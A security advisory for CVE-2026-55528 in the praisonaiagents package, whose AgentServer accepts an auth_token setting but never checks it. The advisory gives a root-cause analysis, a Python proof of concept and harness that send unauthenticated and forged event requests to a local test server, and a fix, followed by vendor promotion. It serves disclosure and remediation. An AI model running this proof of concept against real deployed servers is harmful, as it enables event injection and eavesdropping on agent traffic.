Summary
praisonaiagents: AgentServer declares auth_token but never enforces it on any route
Researcher: Kai Aizen, SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
Target: https://github.com/MervinPraison/PraisonAI
Package: praisonaiagents on PyPI
Affected version (empirically tested): 1.6.48
Component: praisonaiagents.server.AgentServer (the bundled HTTP / SSE server)
TL;DR
AgentServer.ServerConfig advertises an auth_token: Optional[str] = None field that operators set when they want to lock down the server. The GET /info endpoint even displays it back as "auth_token": "***", strongly implying the value is wired into request authentication.
It isn't. AgentServer._create_app never reads auth_token, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route, /info, /publish, /events, /health, accepts unauthenticated requests regardless of whether auth_token is configured.
The same package contains a sibling server, praisonaiagents.ui.a2a.A2A, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's Depends(_verify_auth). This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to AgentServer.
Root cause
Expected behavior when setting ServerConfig(auth_token="…"):
"Only requests with a matching Authorization header will be
accepted on /publish, /events, /info."
Actual behavior (server/server.py, dist 1.6.48):
- line 31 auth_token: Optional[str] = None # declared
- line 39 "auth_token": "***" if self.auth_token else None # displayed
- lines 122-204: no auth middleware, no Depends, no
request.headers["Authorization"] read,
no comparison to self.config.auth_token.
Impact:
The configuration knob is dead code from the route handlers'
perspective. All routes always run. The operator has no signal
that their auth_token was discarded, /info even confirms it
was received by displaying "***".
Sibling proof, the same package gets it right elsewhere
praisonaiagents/ui/a2a/a2a.py:
# line 163
async def _verify_auth(authorization: Optional[str] = Header(None)):
"""Verify bearer token if auth_token is configured."""
if self.auth_token is None:
return
...
if len(parts) != 2 or parts[0].lower() != "bearer" \
or parts[1] != self.auth_token:
raise HTTPException(status_code=401, ...)
# line 192
from fastapi import Depends
_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []
That is the missing implementation. Porting it to AgentServer, either via Starlette BaseHTTPMiddleware or by switching to FastAPI and adding Depends(_verify_auth) to each route, closes the gap.
Affected routes (empirically tested)
| Route | Method | Accepts unauth requests? | Impact |
|---|---|---|---|
/info |
GET | Yes (200) | Leaks server config; confirms auth_token is set ("***"); reveals client count and CORS config. |
/publish |
POST | Yes (200) | Anyone broadcasts arbitrary {type, data} to every subscribed agent. Event payload is whatever the attacker sends. |
/events |
GET | Yes (200) | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). |
/health |
GET | Yes (200) | Leaks live SSE client count. |
Anchors
praisonaiagents 1.6.48, file praisonaiagents/server/server.py:
| Line | Symbol | What it shows |
|---|---|---|
| 31 | auth_token: Optional[str] = None |
Declared. |
| 39 | "auth_token": "***" if self.auth_token else None |
Displayed (masked) in /info. |
| 121 | def _create_app(self): |
Route + middleware setup begins. |
| 132 | async def health(request): |
No auth check. |
| 139 | async def events(request): |
No auth check. |
| 164 | async def publish(request): |
No auth check. |
| 182 | async def info(request): |
No auth check. |
| 190 | routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)] |
Routes registered without Depends/middleware. |
| 197 | app = Starlette(routes=routes) |
App created. |
| 200 | app = CORSMiddleware(app, …) |
Only middleware added. |
Source sha256 (1.6.48, praisonaiagents/server/server.py): aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4 (9,962 bytes).
Sibling (same package, same field name, enforced): praisonaiagents/ui/a2a/a2a.py:163-193.
Reproduction (empirical PoC)
poc/poc.py starts AgentServer with ServerConfig(auth_token="supersecret-not-actually-checked") and then sends unauthenticated requests to each route.
Run log (poc/run-log.txt):
[1] GET /info (no Authorization) -> HTTP 200
body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0,
"config":{"host":"127.0.0.1","port":18765,"cors_origins":[],
"auth_token":"***","max_connections":100}}
[2] POST /publish (no Authorization) -> HTTP 200
body: {"success":true,"clients":0}
[3] GET /health (no Authorization) -> HTTP 200
[4] GET /events (no Authorization) -> HTTP 200
VULNERABLE: 4 unauthenticated routes
VERDICT: VULNERABLE
EXIT 0
Steps to reproduce
- Clone the target:
git clone --depth 1 https://github.com/MervinPraison/PraisonAI - Run the proof of concept (
poc.py) against the cloned source. - Observe the result shown under Verified result below.
Proof of concept
poc.py
"""
PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.
The ServerConfig dataclass declares `auth_token: Optional[str] = None` and
the /info endpoint reports it as "***" when set, giving operators the
impression that requests will be authenticated. In reality,
AgentServer._create_app never reads auth_token, never adds an auth
middleware, and never decorates any route with Depends(_verify_auth).
This PoC starts AgentServer with auth_token="supersecret", then hits
every route without any Authorization header. All requests succeed.
"""
import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError
from praisonaiagents.server import AgentServer, ServerConfig
PORT = 18765
AUTH_TOKEN = "supersecret-not-actually-checked"
def http_request(method, path, body=None, headers=None):
url = f"http://127.0.0.1:{PORT}{path}"
data = None
if body is not None:
data = json.dumps(body).encode("utf-8")
req = Request(url, data=data, method=method, headers=headers or {})
if data is not None:
req.add_header("Content-Type", "application/json")
try:
with urlopen(req, timeout=5) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except HTTPError as e:
return e.code, e.read().decode("utf-8", errors="replace")
except URLError as e:
return None, f"URLError: {e}"
def main() -> int:
print("=" * 70)
print(f"praisonaiagents version: 1.6.48")
print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}")
print(f" then send UNAUTHENTICATED requests to every route.")
print("=" * 70)
config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])
server = AgentServer(config=config)
server.start(blocking=False)
time.sleep(1.0) # wait for uvicorn to be ready
findings = []
code, body = http_request("GET", "/info")
info_data = None
try:
info_data = json.loads(body)
except Exception:
pass
print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}")
print(f" body: {body[:200]}")
if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***":
findings.append("/info: unauthenticated; leaks that auth_token IS configured")
payload = {"type": "attacker_injected_event",
"data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}}
code, body = http_request("POST", "/publish", body=payload)
print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}")
print(f" body: {body[:200]}")
if code == 200:
try:
ok = json.loads(body).get("success") is True
except Exception:
ok = False
if ok:
findings.append("/publish: unauthenticated event broadcast to all SSE clients")
code, body = http_request("GET", "/health")
print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}")
if code == 200:
findings.append("/health: unauthenticated; leaks live client count")
sse_status = []
def sse_reader():
try:
req = Request(f"http://127.0.0.1:{PORT}/events", method="GET")
with urlopen(req, timeout=3) as resp:
sse_status.append(f"HTTP {resp.status}")
try:
chunk = resp.read(64)
sse_status.append(f"first-chunk-bytes={len(chunk)}")
except Exception as e:
sse_status.append(f"chunk-read: {e}")
except Exception as exc:
sse_status.append(f"ERR: {exc}")
t = threading.Thread(target=sse_reader, daemon=True)
t.start()
time.sleep(2.0)
print(f"\n[4] GET /events (no Authorization header) -> {sse_status}")
if sse_status and sse_status[0] == "HTTP 200":
findings.append("/events: unauthenticated SSE subscription accepted")
print("\n" + "=" * 70)
if findings:
print(f"VULNERABLE: {len(findings)} unauthenticated routes")
for f in findings:
print(f" - {f}")
print("VERDICT: VULNERABLE")
return 0
print("DEFENDED")
return 1
if __name__ == "__main__":
sys.exit(main())
Verification harness (executed against the cloned repo)
This drives the unmodified upstream code rather than a reproduction.
import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK)
for p in ["praisonaiagents","praisonaiagents.server"]:
m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg
spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py")
srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)
from starlette.testclient import TestClient
# Operator DOES configure an auth_token, expecting it to protect the server:
cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token")
srv = srvmod.AgentServer(config=cfg) # REAL AgentServer
app = srv._create_app() # REAL Starlette app + routes
client = TestClient(app)
print("[*] auth_token configured on server:", repr(cfg.auth_token))
r_info = client.get("/info")
print(f"[+] GET /info (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}")
r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}})
print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}")
assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True
print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced, /info + /publish reachable unauthenticated")
Verified result
This PoC was executed against the live upstream code; captured output:
[*] auth_token configured on server: 'super-secret-operator-token'
[+] GET /info (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100}
[+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0}
[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced, /info + /publish reachable unauthenticated
Credit
Kai Aizen, SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
Impact
The /publish and /events routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:
- Inject control events into every agent process subscribed to the server.
AgentServer.broadcast(event_type, data)puts the payload into everySSEClient.queue; any consumer dispatching onevent_typewill dispatch on the attacker-chosen type. Real deployments register handlers per event type viaAgentServer.on_event(...); an attacker who can guess (or enumerate via/info+ inspection) a registered type can drive arbitrary handler invocations with attacker-chosendata. - Eavesdrop on the entire event bus by subscribing to
/events. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind theauth_tokenwall. - Pivot via leaked config.
/infois sufficient to enumeratecors_origins(helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to setauth_token, signalling a high-value target.
SSEClient.queue is a queue.Queue with no documented size cap; the event broadcaster does not check max_connections against publishers, only subscribers. An attacker can also flood /publish to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
CVE-2026-55528 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.58); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Make AgentServer reuse the A2A pattern. Smallest fix:
# in _create_app, after `app = Starlette(routes=routes)`:
if self.config.auth_token:
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import JSONResponse
expected = "Bearer " + self.config.auth_token
class _Auth(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
if request.url.path == "/health": # if /health should remain public
return await call_next(request)
got = request.headers.get("authorization", "")
if not hmac.compare_digest(got, expected):
return JSONResponse({"error": "unauthorized"}, status_code=401)
return await call_next(request)
app = _Auth(app)
app = CORSMiddleware(app, ...)
Constant-time comparison (hmac.compare_digest) is appropriate since this is a network-comparable secret.
Frequently Asked Questions
- What is CVE-2026-55528? CVE-2026-55528 is a high-severity missing authentication for critical function vulnerability in praisonaiagents (pip), affecting versions < 1.6.58. It is fixed in 1.6.58. A critical operation is accessible without requiring any authentication.
- How severe is CVE-2026-55528? CVE-2026-55528 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of praisonaiagents are affected by CVE-2026-55528? praisonaiagents (pip) versions < 1.6.58 is affected.
- Is there a fix for CVE-2026-55528? Yes. CVE-2026-55528 is fixed in 1.6.58. Upgrade to this version or later.
- Is CVE-2026-55528 exploitable, and should I be worried? Whether CVE-2026-55528 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55528 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55528? Upgrade
praisonaiagentsto 1.6.58 or later.